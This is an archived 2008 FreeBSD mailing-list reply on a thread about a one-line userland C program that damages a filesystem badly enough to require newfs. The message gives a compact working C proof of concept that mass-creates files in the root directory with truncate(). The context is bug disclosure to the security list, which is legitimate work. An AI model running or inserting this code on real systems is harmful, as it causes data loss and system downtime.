Date: Mon, 18 Feb 2008 14:53:59 +0100 From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= <des@des.no> To: Jim Bryant <freebsd@electron-tube.net> Cc: freebsd-fs@freebsd.org, freebsd-security@freebsd.org, FreeBSD-bugs@freebsd.org, freebsd-stable@freebsd.org Subject: Re: How to take down a system to the point of requiring a newfs with one line of C (userland) Message-ID: <863arq5q14.fsf@ds4.des.no> In-Reply-To: <86odae5rgr.fsf@ds4.des.no> ("Dag-Erling =?utf-8?Q?Sm=C3=B8rg?= =?utf-8?Q?rav=22's?= message of "Mon\, 18 Feb 2008 14\:23\:00 %2B0100") References: <47B90868.7000900@electron-tube.net> <86odae5rgr.fsf@ds4.des.no>
next in thread | previous in thread | raw e-mail | index | archive | help
Dag-Erling Sm=C3=B8rgrav <des@des.no> writes: > Purely in the interest of showing off, here is my version. It is 81 > bytes shorter than yours, it is valid C99 with POSIX extensions (yours > is not), and it produces 11,450 files in about 0.2% of the time yours > takes to produce 10,000. > > #include <unistd.h> > #define b(i,v) for(int v=3D48;v<127;++v){f[i]=3Dv; > #define a(i) b(i,v##i) > int main(void){char f[5]=3D{'/'};a(1)a(2)a(3)truncate(f,0);}}}} Two bugs: 1) I forgot to include the correct version of the code 2) the version I had created a few files with '/' in their names; this slightly nastier creates 10,648 files with only letters. #include <unistd.h> #define b(i,v)for(int v=3D65;v<87;){i[f]=3Dv++; #define a(i)b(i,v##i) int main(void){char f[4]=3D{47};a(1)a(2)a(3)truncate(f,0);}}}} DES --=20 Dag-Erling Sm=C3=B8rgrav - des@des.no _______________________________________________ freebsd-security@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security To unsubscribe, send any mail to "freebsd-security-unsubscribe@freebsd.org"
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?863arq5q14.fsf>